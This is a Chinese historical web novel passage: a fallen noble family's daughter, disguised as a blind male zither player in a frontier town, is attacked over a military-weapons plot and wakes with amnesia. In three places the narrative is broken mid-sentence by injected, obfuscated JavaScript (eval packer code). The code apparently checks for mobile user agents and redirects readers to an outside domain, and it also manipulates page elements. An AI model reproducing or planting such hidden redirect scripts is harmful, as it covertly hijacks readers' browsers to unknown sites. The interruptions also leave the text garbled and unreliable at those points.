《清名本虚妄》 1. 楔子 永昭三十二年仲夏，圣躬不豫，渐至沉疴。 首辅陆逊之私通司礼监掌印，内外勾连，壅塞禁闱，矫诏称制，以窃神器。帝察其逆谋，诏锦衣卫搜检府邸，得僭越之冕旒并通敌密札，铁证昭然。 廷议当以九族论诛，然诸臣以其尝有辅弼之功，伏阙泣谏。帝恻然长叹，特宥其族，止夷三族，余者徙三千里戍边。 是年冬，龙驭宾天。皇长孙周承寰奉诏践祚，次年改元弘治。 先帝大行前，特敕命燕王周放离藩北平，总制大同诸镇军务，非天子明诏不得入觐。 ——《大渝??永昭帝本纪》 永昭三十二年的冬，凛冽刺骨。 一道清矍身影背负长琴，风尘仆仆，自寒山而来，驻足于陈留陆氏祖宅。 宅邸内外早已洗劫一空，肃穆庄严的祠堂牌位散落一地，任人践踏。 来人面容沉静，摩挲着袖中密信，唇边笑意似自嘲，又似讥诮。素衫上的脏污划痕，昭示着她此行绝非易事。 世家底蕴，除当朝宰辅，更有英才三杰。 长孙陆坻弱冠之年便高中状元，金殿对策时洋洋万言，笔挟风云；次孙陆屿精于丹青，及至舞象之年作《雪壑鸣泉图》，时人叹为‘墨色枯润相生，笔意空灵无垢’；幼弟陆岩亦负‘通玄神童’之誉，过目成诵，出口成章。 无人知，还有一多智近妖的女公子，早早被家族除名，独居寒山。 “曾经的弃子，倒成了独活的那一个。” 陆嵁掀开衣摆，跪于雪地，四拜叩首。尔后，如她来时，涉雪离去。 惊雷骤至，大雪如倾。 陆嵁身后，火舌自枯枝窜起，贪婪地舔舐着残存的梁柱窗棂，浓烟裹挟着飞雪直冲天际。 一场业火，满天风雪，陆氏旧痕尽去。 她从未回头，身影没入茫茫雪幕中。 京都府，皇城 九重宫阙在晨雾中影影绰绰，恍若蛰伏的巨兽。 燕王周放离扣紧装有遗诏的金漆密匣，匣上蟠螭目眦欲裂。翻卷的玄氅扫落宫檐半寸残雪，头顶素冠如霜，为先帝新丧披上戴的哀戚尚未褪尽。 “王爷，” 宫城铜铃叩响，掌旗官仓皇拭过额角冷汗，嗫嚅道：“卯时三刻…该启程了。” 座下战马嘶鸣声骤起，打破了黎明前的沉寂。 周放离回望无垠皇城，振袖将腰间的蟠龙玉带掷向宫门前的鎏金螭首，嗓音裹着朔风剐过丹墀，字字钉入朱墙： “孤臣既无佩，便不劳天子相送。” 残破的玉带扣当啷坠入雪泥，掌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533397|186437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旗官托起遗落的素冠，不待归还，便听得北风捎来半句诏令： “取道陈留。” 燕王属军的马蹄踏碎京都繁华，日渡江河，暮宿重山，却在旧日陆氏府邸前齐齐嘶鸣。 前昔还煊赫非常的陈留世家，此刻唯余焦木支棱如骨。桐油焦臭间杂着浓重的血腥，盘桓在倾颓的祠堂残骸间，几片未燃尽的族谱残页被风卷着掠过马鞍。 “王爷，陆氏谋逆一案牵扯甚广，还是早些离去……”亲兵话音未落，自家王爷早已翻身下马。 周放离俯身拾起半截描金匾额，“忠烈传家”四个漆字已被火舌舔去大半，残垣深处传来老鸹嘶哑的啼叫。 他循声望去，唯见数只食腐的玄鸟嘶鸣着自寒梅枯枝间惊起，盘旋不去。 “玄鸟惊飞处，百年祖宅化为劫灰……”周放离望着那片不祥的鸦影，喟然长叹，“苍雷携焰，陆氏一脉运数当绝。” 尾音消散在呼啸寒风中，既有对百年望族宿命倾颓的苍凉，又似裹着天地同悲的怆然。 十日后，大同府镇戍楼升起蟠龙纛旗，燕王就藩。 周放离命人将先帝遗诏錾刻成碑，嵌进镇守府照壁。青石碎屑纷扬中，暮雪宫门前掷玉的身影与碑文逐渐重叠—— “非天子明诏，不入觐。” 2. 碣石调·幽兰（一） 弘治二年初，大同府苍梧镇。 春气初生，冻土之上寸寸裂痕。长天虽阔，却被铅灰色云层压得极低。 朔风卷着尘沙，刮过城垣，在苍梧肆掠，最终偃息般地勾起东城一隅的红色绸布，带出一缕勾人心魄的粘腻香气。 翠云阁内的浓艳气息，与边城初春的萧索，被单薄的雕花窗户隔开。 吱呀—— 窗扉打开了一道缝隙。 苍白瘦削的手指攀在窗沿，寒风余势撩起衣袂，露出一截皓腕，褐色的陈旧枷痕显得格外刺目。 “先生，姑娘，柳衙内到了。” 厢房的门被侍女推开，俄而又阖上。 琴师指尖轻点窗棂，嘴唇微抿，嗅得脂粉腻香侵袭而来。 花魁红绡的声音柔媚入骨，语带关切： “先生何必亲自涉险？既是想要柳衙内的那柄短匕，红绡便是拼了性命，也会替先生取来。” 琴师侧首，汲取着窗外的新爽清气，淡然开口：“此事交由你来做，徒增风险。我要亲自将军械案的把柄递至燕王手中，不论是推手，是棋子，且待看官如何裁定。” 翠云阁，楼下。 烛火摇曳，红纱浮动，脂粉腻香缠绕着酒气氤氲。弦音咿呀，偶有女子轻笑，如珠玉滚落，间或夹杂着酒客划拳的粗犷嘈杂。 “砰！” 一声巨响撕裂了风月场上的靡靡之音。众酒客怒目视去，在见到那跋扈衙内之后，唯有悻悻作罢。 “放屁！说破了天，红绡姑娘今儿个必须得陪爷！敢在爷面前推三阻四？睁大你的狗眼瞧瞧，爷是谁？！” 身着宝蓝织金锦袍的微胖青年，一把拂开围上来的莺莺燕燕，粗暴地踩着楼梯冲上来，截断了老鸨带着哭腔的劝阻： “哎哟，衙内！柳衙内！您消消火，消消火！红绡姑娘房里还未收拾妥，怎敢怠慢了衙内。” “那就给爷滚开。”老鸨阻拦不及，蛮横的声音已近在门外，“在这苍梧镇，就没爷去不得的地儿。” 如此轻慢态度，粗蛮行径，引得红绡频频朝身侧之人望去。却见琴师神色泰然，只待好戏登场。 顷刻间，房门已被粗暴踹开，狠狠撞在墙上，发出不堪重负的呻吟。 柳衙内生得面皮白净，一副金银软玉堆砌起来的富贵骄横模样，此刻因酒气和妒火涨得通红。 一双细长眼睛先在房内飞快扫视一圈，掠过端坐琴前，素纱缚目的琴师时，眼中的鄙夷不加掩饰，而落在红绡身上却尽是垂涎贪慕。 他自诩风流地勾起唇角，摇摇晃晃走向红绡，伸手勾起她的下巴，“姑娘无需梳妆，清水芙蓉自有一番风味。” 柳衙内喷着酒气的言语黏腻不堪，目光却如跗骨之蛆，贪婪地在红绡身上流连。 红绡不着痕迹地侧身避开，纤指指向琴师方向，声音带着恰到好处羞赧：“衙内怎的如此急色？若先生可还在为奴家调音……” “调音？” 柳衙内戏谑地眼神瞥向角落里那个沉默的琴师，嗤笑一声，带着浓重的酒气和轻蔑，刻意提高了音量：“坐不过是个瞎子，能调出什么好音？莫不是姑娘怜他眼盲，特意施舍些残羹冷炙给他舔舐？” 琴师置若罔闻，素纱覆眼的面容平静无波，连指尖按在琴弦上的力道都未曾改变分毫。这种近乎漠视的态度，在骄横惯了的柳衙内眼中，无异于挑衅与嘲讽。 在娇花美人当前下了面，柳衙内只觉酒气混合着被无视的羞恼直冲头顶，他蓦地从腰间革囊中抽出一物。 “噌”的一声，一道雪亮寒光在烛火下骤然闪现！ 那是一柄削铁如泥的短匕，匕身狭长，开有深深的血槽，刃口闪烁着的锐利冷芒。手柄是玄铁所铸，缠着防滑的黑色皮绳，尾端带着一个用于固定在甲胄上的卡扣环。 形制古朴，无珠宝华饰，与柳衙内素日里的奢靡作风大相径庭。 “衙内息怒！” 红绡假意失声惊叫，却顺势以扇掩去笑意，后撤几步，在花几前堪堪止住。 此番动静，正是琴师所待——这枚棋子，终究是落对了地方。 当下也不多言，只一面拾掇着西窗琴台，一面淡然开口道：“兵刃锋利，衙内且仔细些。” “你倒是好大的胆子。”柳衙内挥舞着匕首在空中划了个十字，眸光指向琴师，又扫过惊慌的红绡，得意道： “都给爷瞧仔细了！可别当这是劳什子中看不中用的花绣玩意儿！实打实的军前利器，沾过血、开过锋的硬家伙，斩杀个软骨头，倒是小题大做了。” 匕首挥动带起的冷风，使得近处的红绡微感寒意，不禁摩挲着指腹的薄茧。 见此形状，候在门前的虬髯客面色大变，忙上前一步，凑至柳衙内耳畔，压低声音却带着不容置疑的急促： “衙内，慎行！守备大人再三叮嘱，这些时日务必收敛。燕王爷不日驾临苍梧，巡视边防。在这节骨眼上，万不可节外生枝！这军械，更是……” “燕王？”柳衙内的嚣张气焰被这名头浇灭，面上的忌惮不言而喻。 他咬牙从手中短匕中收回视线，又狠狠剜了置身事外的琴师一眼，悻悻然地哼了一声，手腕一翻，便要将匕首插回腰间革囊。 琴师垂于身侧的手指微动，不自觉拂过琴凳边缘。 素纱覆眼的面容依旧沉静，却捕捉到了短匕归鞘时带起的微弱风声，以及柳衙内因酒意和怒意而略显粗重的呼吸。 就在匕首尖端即将没入革囊口的刹那—— 琴师似因方才闪避柳衙内挥匕而立足不稳，脚下不知被何物一绊。 本就目不能视，失衡之感便愈发汹涌，身子不由自主向前踉跄了半步。下意识扬手去抓，似要在空茫中捞住些什么，好稳住摇摇欲坠的身形。 琴师的一手指尖不偏不倚地擦过柳衙内掌握匕首的手腕内侧。 柳衙内只觉腕间传来一阵难以言喻的酸麻之感，力道骤泄，五指不听使唤地一松。 与此同时，琴师拢于袖中的另一只手，自宽大衣袂中探出，偶然扫过柳衙内腰间革囊的搭扣。 在翠玉阁上下的鼎沸喧嚣之下，一声极其轻微、几不可闻的“咔哒”轻响。 这一切不过瞬息之间。 匕首险些脱手，柳衙内手腕内侧麻意稍减，腰间被蹭过的触感愈发明显。 惊怒交加之下，他胡乱将其插入革囊。 方才刹那的接触，想来是这个不知死活的瞎子被自己吓到，慌乱之下的动作。 即便消解了最初的羞愤，被冒犯的恼恨仍如附骨之疽。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533398|186437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“好你个下贱胚子！你这一双手若是不想要，爷便替你取了。” 柳衙内这下发了狠，方才护卫那几句提点所生的顾忌，竟如尘埃般被怒火烧得一干二净。他兀自认定，这琴师分明是在故意撩拨、折辱于他。 偏生对方那副模样，自始至终静如止水，方才种种皆未入眼，更未上心。这副神态瞧在他眼里，更是往熊熊怒火里又添了一把干柴，烧得愈旺。 他暴喝一声，发狠地向前猛冲，攥紧的拳头挟风砸向琴师那张泛黄寡淡却难掩清秀的脸。 琴师对扑面而来的劲风有所觉察，身形凭着本能朝侧面微微一拧。 柳衙内含怒的一拳擦着琴师的鬓角堪堪掠过，巨大的惯性带着他踉跄前冲，竟正好将后背露给对方。 琴师趁势后退两步，背脊抵住了琴台边缘，本能地将手按在了身侧的焦尾琴上。 几番往来，红绡的心已提至嗓子眼。 柳衙内一击不中，恼怒更甚，转身就要再扑。 琴师抱琴闪避，后退的脚步看似慌乱，实则稳妥地给自己选了个软和地。 熟料，鞋底一硌，琴师心下一沉。 这一次，再也无法稳住身形，身体彻底失去了平衡，直直地向后仰倒。 “先生！” 红绡的惊呼声中，琴师重重摔倒在地，怀中的焦尾琴脱手飞出，狠狠撞在坚硬的桌腿上，发出令人心碎的裂帛之声。 琴弦应声崩断，琴尾那块焦黑的木料上瞬间裂开一道狰狞的缝隙。 突如其来的变故令在场之人怔愣原地。 门扉大开，厢房外的吵闹喧哗霎时灌入其中。 柳衙内的冲势顿收，目光落在地上四分五裂的琴身，又瞥向那似是摔得挣扎不起的琴师，脸上先是掠过一抹怔忪，转瞬便被更浓的阴鸷吞噬。 他嘴角勾起一抹狞笑，伸手就从旁抄起一张沉甸甸的红木杌子，恶狠狠道：“摔了琴？爷今儿个便叫你这辈子再休想碰弦！” 或是酒意上头，抑或是被脚下四散的琴弦、香炉灰烬及瓷片所滑，他膝盖一软，举起杌子的手臂猛地一沉，方向失控。 沉重的杌子，未砸向地面，亦未砸向破琴，而是带着失控的全部力道，结结实实地砸在了正试图撑起身的琴师的后脑上。 时间仿佛凝固了一瞬。 红绡的尖叫声划破死寂： “衙内住手——！要出人命了！” 柳衙内看着杌子边缘沾染的暗红，也彻底懵了，手一松，“哐当”一声砸在地上，发出沉闷的巨响。 他呆愣原地，如遭雷击。方才的戾气竟被这突如其来的怔忡冲得七零八落。 琴师受此重创，无力瘫软在地，素纱覆眼的白纱被震落半幅，露出紧闭的双眼和失去血色的惨白面容。鲜血，正从乌黑的发丝间汩汩涌出，迅速在冰冷的地板上洇开一小片刺目的红。 在意识彻底陷入黑暗之前，一缕极其突兀的清苦艾蒿异香，蛮横地冲破了翠云阁浓郁的脂粉腻香，钻入了琴师的鼻端。 旋即，在模糊、晃动、濒临熄灭的视野边缘，捕捉到了最后画面： 柳衙内那双嵌着金线卷云纹的精致靴底，正碾上了那张已然断裂的焦尾琴身。 不待琴师将手缩回原处，黑暗，已彻底吞噬了一切。 3. 碣石调·幽兰（二） 残月将坠，朔风卷着冰渣子，直往土墙豁口里钻。呜咽风声与角落铜漏应和，蚕食着最后半刻辰光。 草席上的躯体不时痉挛，在素麻褥子上洇开的新血顷刻凝固。 一道黑影鬼魅般贴着梁柱滑落，碾过满地药渣，竟未发出半点声响。 黑影环顾四周，唯见床上之人苟延残喘，当即不再拘束，肆意在屋中翻找。 辗转片刻无所获，回首瞥见琴案上的木匣，不由嗤笑出声。不及合拢机括，便连匣带物纳入怀中。 正欲离开之际，却又悄然走向床上之人。 匕首寒光映出来人蒙着黑巾的脸，刀尖悬在那人咽喉处。 黑衣人淬出半声冷笑，杀意随着刀锋游走，轻蔑自语：“比起瞎子，还是死人更能保守秘密。” 下移的刀尖刮蹭着那人胸口的粗麻衣襟，翻转后直直刺向心口。 “哐当！” 寒光破空刹那，西侧纸窗轰然洞开。 “哪搭窜出的贼耗子，敢挡爷爷的差事？” 哨棍挟风而至，烛火映出虬髯客半边沟壑纵横的面庞。 “格老子的！人明明喘着气呢，爷爷岂能教你又给弄死了？” 木椅的断裂声截断叫骂。 原是黑衣人旋身踢飞的木屑在墙面碎裂，溅向虬髯客。他猱身撞进黑衣人怀中，衣帛撕裂声裹着血腥味炸开。 半幅衣摆飞旋间，不知何物自黑衣人撕裂的护腰夹缝中迸出，在满地血污里滚了三滚，最终卡进角落砖缝中。 黑衣人掌握短匕连连劈砍而来。 刀锋凌厉，在虬髯客的薄甲上绽开处处裂痕。末势愈加刁钻，刃尖擦过他的颈侧，划出一道红痕。 虬髯客不敌，只得胡乱挥棍横扫。毫无章法之举竟令黑衣人后仰避让时，不慎撞碎地上的陶瓮。 混着黍米的浊水泼溅而出，将那枚嵌在砖缝里的铜扣冲洗出纹路—— 梅枝图腾赫然浮现，断茬处还凝着玄铁的寒光。 梆子声自十里长街遥遥荡来。 黑衣人眼底戾气骤盛，不再留手，虚晃一招欲直取虬髯客双目。 远处却再次传来三短一长的鹧鸪啼。 他猛地收势，短匕擦着虬髯客的耳廓没入土墙。黑衣人跃上窗棂，腰间残片扫落积灰，纷纷扬扬又盖住了那枚铜扣。 余下虬髯客拄膝剧喘，暗室浮尘随其吁息翻涌。他亦不敢再留，循着先前破窗的缺口，踉跄遁入夜色之中。 床上之人的苍白指节骤然蜷曲。待杂沓脚步声彻底消散，他的喉间才溢出一串压抑的呛咳。 早在黑衣人翻找物品之时，他便已然清醒。此时耳畔仍回荡着兵胄相接的碎响： 对方那致命一击中途收势，想来鹧鸪哨的示警要比杀人灭口更为紧要。 他试图再次挪动手指，却触及身下黏腻的湿冷草席。素纱缚目处浮着青灰翳影，后脑钝痛不绝，每丝喘息都仿佛牵动着髓海翻腾。 门扉扣响，甜腻的脂粉气已透隙而入，木屐挑开草帘灌入刺骨寒风。 他尚未来得及屏息假作昏厥，忽闻少年带着烟花巷特有的轻挑嗓音： “哎哟，若先生可算醒了！” 少年对屋间杂乱视若无睹，仿若未闻先前异动。 “柳公子差人送了些雪花儿，说误伤琴师实在过意不去……” 听得少年喋喋不休，若先生分出片刻神思来筹度前情后果。记忆渊海却是混沌空白，零碎有三两场景复现，却如何也看不清晰。 他摸索着床沿缓慢支起身子，粗麻衣襟刮擦着颈侧的皮肉，带来若有若无的搔痒。 待思绪渐明，若先生对当前境况下了判断：我应当是个琴师，被少年口中的柳公子误伤。 若先生下意识伸手抚过后脑，面上颜色骤变。 那里缠着草草包扎的麻布，指尖触到板结的血痂和某种粗糙的粉末。 “他们给我敷的…是香灰？” “先生这话好生伤人。”少年嗤笑着将陶碗重重落在矮几上，“医馆诊金要二两银子，翠云阁里的妈妈可舍不得，还是红绡姐姐当了簪珥才凑出这些上好的止血艾草灰。” 若先生的手顿住。 脑中闪过琴箱倾倒的画面—— 金线绣的云纹靴底踩着冰弦往上碾。铜炉腾起的烟雾里，有人笑着说了句：“不过是个卖艺的瞎子，死了便死了”。 “我昏了几日？”他不再纠缠此问，忍耐着喉间灼痛，嘶哑开口。 “先生可是躺了一日一夜。” 木屐声绕着床榻打转，少年腹诽，“若不是怕吃人命官司，谁愿意守着个半死的……” 话音戛然而止，晓得自己说漏了嘴，又唯恐他要细问些什么，鹞子似地掀开草帘，留下一句： “奴家去灶房看看先生的药熬好了没。” 漏风的门板撞在土墙上，惊起巷尾谁家芦花犬的吠叫。 隔壁铁匠娘子咒骂声响起，那头紧接着幼童的哭嚎此起彼伏，间或夹杂着铁砧砸地的闷响。 嘈杂声响反倒令若先生心下稍安，至少不必忧心黑衣人去而复返。 他再三确认，此时狭屋唯有自己间断沉重的喘息声，便信手扯下眼前纱锻。 白纱垂落的刹那，蒙尘龟裂的铜镜里闪过一双含霜带雪的重瞳子。 几番适应，若先生模糊的视野内，四根缠着药布的立柱伫在房间四角，桌案边角皆裹着厚厚的棉絮——这是防备盲人磕碰的布置。 他蹒跚下床，赤足踏地，及至第七块青砖，足尖劲力倏敛。 砖石微松，正是此前卸了道，方免了倾跌之险。 若先生对自己矫饰盲者的深意暂无头绪，但唯有千百次往复，才有今日这般如驭旧辙。 破窗漏进的风掀起琴案上的一纸宣纸，上头洇开的墨迹露出底端铁画银钩的“若嵁”二字。 纸是上好的澄心堂笺，边缘残留着被火漆灼烧的痕迹。字迹转折处带着别有的杀伐气，与墙角歪斜刻痕形成鲜明对比。 亏得照顾他的少年不识货。 纸张非凡品，而字迹更是非十年临池不能成。至少，绝不该出现在边城盲眼琴师的破屋里。 “我似是有很多秘密？” 疑窦如檐下蛛网，愈理愈缠。 若嵁强抑胸中疑云，眸光掠过粗陶壶，喉间微动。 案角竹盏犹存的半瓯清水，盏中清漪映得唇色愈苍，杯沿却粘着半枚胭脂痕。 陋室原容不得矫情，偏那抹残红刺眼得很。索性抄起陶壶仰颈，凉水混着尘屑，尽数灌入喉中。 饮得太快，白水顺着唇角溢出，洇湿了胸前衣襟。 门外脚步声顿起，他抬手覆上双眼。 果然那去而复返的少年正端着药盅进来，而若嵁正摸索着触碰屏风上凸起的雕花。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533399|186437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 劳烦备些热水。”若嵁着意将声线捻作游丝，唇齿启合间刻意漏了半缕中气，更添了几分虚弱，“我想净身。” “这会儿倒讲究起来了！巷尾井水可都结冰了……”少年嘟囔着甩阖门扉，到底还是去了。 万钧疑虑自若嵁心头复起—— 少年分明做着攀附权贵，践踏寒微的勾当，偏要作态同自己周旋往来，必是另有所图。可这陋室空堂间，除却来历蹊跷的黑漆木匣与半毁的焦尾琴，实在寻不出值得觊觎之物。 若嵁的指尖骤然发紧，倚着斑驳窗棂陷入沉思： 恐怕与那位打伤自己的柳姓公子脱不开干系。不知结下的是何等因果，竟值当大动干戈至此，险些误了性命？ 再念及先前闯入房内械斗的两人，眉间阴翳更深。 蒙面贼子夺走之物，以己身手无寸铁、身负重伤的境况，纵使有心追查亦如大海捞针。 若嵁伸手摸了摸咽喉，不由庆幸——正是后来破窗者横插进来…… 额间沁出细密冷汗，若嵁紧按额角，生生截断思绪。 罢了，罢了。既已踏过生死关，不妨先借这少年作解铃人。 指节抵住锁骨，凝着血渍与尘泥的衣襟已随思虑滑落半寸。 烛芯爆开，残破铜镜映出他苍白单薄的身体轮廓，以及颈侧那道狰狞新痂。指尖抚过，传来粗糙的凸起感。 若嵁有意支使试探少年是真，厌弃周身腌臜亦非作伪。盖因那少年连头面都未曾替他拭净，由着他裹着半干血衣在薄衾冷塌间辗转。 残月恰被游云吞去半阙，满室烛影倏地坍缩成凝固的酒渍，全数投至案头那盏竹杯。内里清波忽颤，映出他蹙眉咽痒的剪影。 指腹游移至颈脉，若嵁却触到玉皮下蛰伏的异样隆起。 寒意沿脊攀升，心下陡生不详。 门扉被铜壶磕出清响，眸前白纱遮掩住他心中的万丈惊涛。 少年恰在此时捧着腾腾热雾转过屏风，将最后半壶热水注入浴斛，蒸腾的水汽在斑竹帘上开一片模糊湿痕。 铜盆边沿的霜粒尽数消融于浮沫，若嵁解开发带，三千青丝垂落在晃动的水波上方。面上的拙劣伪装早已见水消退，清俊眉眼被雾气晕染得似昆仑玉碎。 沉入浴斛，指尖凝滞在肩侧。若嵁耳畔听得斑竹帘隙漏进的半缕窸窣，遂嘶哑着声音疾色道：“出去。” “既然先生不必伺候，奴出去便是。何必如此疾言劇色，吓得奴好生惊惶。” 少年的尾音揉进了三分梨园愁腔，指尖按着心口作西子捧心状，可惜这出折子戏却唱给了盲眼观客。 若嵁无动于衷，少年便是自讨没趣，唯有悻悻离开。 直至少年的步履声再次消失，若嵁复又解下缚目白纱。 视线虽模糊，却豁然开朗。 湿发垂落在肩头，烛光为他的苍白面容镀上一层玉色。若嵁凝神沉思： 此身究竟是何人？何以沦落此间？自愿抑或受人胁迫？ 若嵁就着水面察看颈侧烙印，疤痕不小，似是为了遮掩原有的痕迹。 指尖下移，解开后腰束带。 那里有道常年勒紧留下的浅褐色瘢痕，如同一条蛰伏的蛇。即便失忆，身体仍记得如何将素帛绕过肋骨，再以活结卡在肩胛骨凹陷处。 “这是？！” 若嵁五指方触上襟口，垂首欲定睛观瞧时，周身血髓竟已尽凝。 4. 碣石调·幽兰（三） 青白指节骤然扣紧桶沿，水面因此荡开波纹，那具躯体似在男子与女形间模糊了一瞬。 水痕随波弥合，若嵁指尖自颈侧烙痕滑落，却在锁骨下方陷入起伏的柔软轮廓—— 此身乃是女儿身。 他——抑或她轻颤着系上纱锻，湿透的中衣贴着肌肤，衣襟微阖，披上外衫，自屏风后转出。 守在门外的少年听到动静往里看，肆无忌惮地将目光凝在包裹得严严实实的若嵁身上。 头一次瞧见洗尽铅华的琴师，少年眼底掠过一刹惊艳，转瞬便凝作了几分讥诮： “先生原是这副皮囊，倒是比红绡姐姐更合风月。” 他斜倚门扇，喉间溢出轻佻笑音，“琴师能得几分钱？先生要是甘愿在翠云阁挂牌，怕要惹得恩客们掷尽千百次金。” “放肆！” 盲杖挟风声横扫，少年痛得屈身欲跪，慌忙扯过衣袖遮住扭曲的面容，跌跌撞撞消失在暗夜中。 若嵁裹紧外衫跌坐琴案后。指腹无意识抚过焦尾琴的断口。佝偻的背脊随之渐缓，却在岳山承弦处触及细微凸起。 本该平滑的凹槽，竟藏着米粒大小的接缝。 指尖触及木隙间活络的雕花凸起，若嵁向右旋过半寸。随着极轻的“咔嗒”声响起，琴箱底暗格应声弹开。 利刃寒光割破琴箱阴影，刃面倒映着窗外残月，也映出一张典当契纸泛黄的边角。 若嵁摸出匕首，刃尖挑起泛黄契纸。 掀起白纱一角，契书上载得明白：弘治元年活当的玉佩，赎期最迟不过今岁六月末。 据此推算，她滞留苍梧镇竟近一载。 十指叩遍焦尾琴腹暗匣，唯余桐木空响。前尘旧忆似雁过寒潭，现如今，既无户籍文牒佐证，这玉佩倒成了溯本求源的孤证。 思及当票上的累万赎资，若嵁无声苦笑。参照日挣百文的琴师生计，莫说三月，三年也凑不足半数。 后脑钝痛截断思绪，若嵁将其一一收入琴腹之中。 翌日。 曙色浸透纸窗，丝丝缕缕的劣质合欢香攀沿着门窗罅隙，钻入若嵁鼻中。 她掩唇咳出残香，摸索着褪去染尘的衣衫。待要出门掬水净面时，盲杖却触及门扉处蜷缩的温热躯体。 少年秉性若嵁已大致了解。 无论是矫饰盲者，还是女扮男相，哪一个让他知晓，只怕徒增事端。 “今日起不必再来。” 若嵁前压盲杖，挂在杖头的钱坠子应声而落，半贯铜钱滚至他的脚边。 “先生这便想打发奴家？”少年眼尾洇着胭脂色，将指尖的钱串摇出一阵细碎戾响。 若嵁失笑，“红绡姑娘予你二钱官银原是请医问药，倒教你寻来艾草灰敷我伤处。” 手中盲杖倏地绞紧少年衣襟，杖头轻叩他的心脉，沉声道：“中间克扣几何，你若安分些，本不必与红绡姑娘多言。不然，那位柳公子闹市伤人一事，也休想我轻拿轻放。” 少年挣不开桎梏，脚跟狠狠碾过青砖缝，反教铜钱串脱手飞出，挂在了院中的矮枝上。 他扯着嗓子嘶声道：“守备府衙内何等金贵，能容你一个瞎了眼琴师攀诬？那日若不是飞檐上挤满看客，你早该随那把断弦的琴烂在乱葬岗！” 若说昨夜唯有猜测，但见今日少年的应答行止，所料也不差几分。 他多半是得了柳衙内的好处，特意来“照料”自己，免得惹上一桩推不去的人命官司。 晨阳恰自破窗裂隙劈入，天光剖开若嵁眉目，勾勒出她冷峻如冰的侧影。 脑中复现那双碾过琴身的锦靴，若嵁指尖微颤，面容虽沉静，吐出的话却是字字珠玑：“若说贱命，倒盼着在柳衙内眼里，你颈间喉骨比我的焦尾琴岳山更值当些。” 她倏尔卸了杖上力道，缠着素纱的盲眼似能洞穿人心底的晦暗。 少年腿脚瘫软。 只觉这瞎子方才那一眼竟比府衙前的杀威棒更骇人，仿佛要将他骨缝里藏的腌臜心思都劈出来晾在光天化日之下。 他忙不迭伸手够下矮枝上的铜钱，自觉将屋中的陶瓮灌满水，随后觑着若嵁的神色离开。 午时炊烟起，若嵁挟着断琴挨到檐下，挑开琴腹衬布，叩响岳山调试音准。 北风卷来邻里絮语： “……说是滁州来的犯官家眷？你瞧瞧那包裹琴囊的蚕丝，必是抄家时偷藏的……” “作孽哟。”老妪捶打着裋褐，“前日典当行伙计说这琴最少可值二十两白银。” “要我说，还不如把这琴当了换些银钱。且看着，这瞎子可未必护得住这把琴。” 老妪连声应和。 滁州罪眷？ 若嵁摩挲着颈侧的烙痕，刺痛令她破碎的记忆碎片明晰几分。 一张详尽的舆图霎时浮现，“大同府”三个字被朱笔圈出。 画面一转，她置身弃市刑台。耳畔尘嚣不绝，断头台上的暗赭血渍漫过看台，流经足下。 院外忽起扣门声，若嵁如梦方醒。 五指拂过面庞，掩于白纱下的一滴陈泪将凝未凝。她拭去泪痕，摸索着打开院门，外头间或夹杂着衙役的叫骂与锁链的拖拽声。 忆起今值乃晦日，若是流籍在身，照律该有押解吏上门催服徭役。可院中除却鼠啮声，竟无半分豺犬靴响。 柳衙内分明可借此发作…… 断弦猝然割破指尖，接口洇着暗红血渍，若嵁暗自摇首： 或许，她早非砧板鱼肉。 檐影渐长，若嵁旋紧最后一匝丝弦。 三丈外碎冰裂响，两道粗麻鞋底碾碎砖缝的咯吱声，步步逼近院墙。 “翠云阁那小倌哪去了？” 若嵁耳廓微动，这声音似是有几分耳熟。 她泼出半盏冷茶，就着斑驳水镜，模模糊糊窥见两个鬼祟黑影游弋而来。 矮瘦影子窜上石栏，蹲在斑驳的台阶上，咬牙切齿道：“早他娘蹽了。” 身侧的虬髯客将哨棍往墙根一杵，揉着青紫眼眶啐道：“这瞎子倒挺能折腾人的。不知从哪招惹的刺客，昨夜险些剜了爷爷的招子。” “守备大人说了，且先吊着那瞎子一口气。”矮瘦个子嗤笑一声，语带轻蔑，“公子爷在花楼里争风，倒累得爷几个墙根蹲了三宿。” 虬髯客瞥向檐下的单薄身影，一片青衫正抱琴转过拐角，背影单薄如纸，仿佛一吹即散。不由道：“可要真教人宰了……” “死个琴师算甚？左右不是公子爷恁的，睁只眼闭只眼。”士卒警惕地环顾街口，低声道，“咱拿着三瓜俩枣的兵饷，就只干分内事。此时离去，还能拿了赏钱换酒喝去。” 二人渐行渐远，墙头霜花扑簌簌落在若嵁肩头。她倚着琴箱冷笑，终于摸清这场闹剧的脉络： 从五品守备之子争妓，重伤平民却不敢声张。先前的翠云阁小倌与派来的这两人，用意不言而喻。 暮色四合，若嵁捏着昨夜搜捡出来的碎银，随 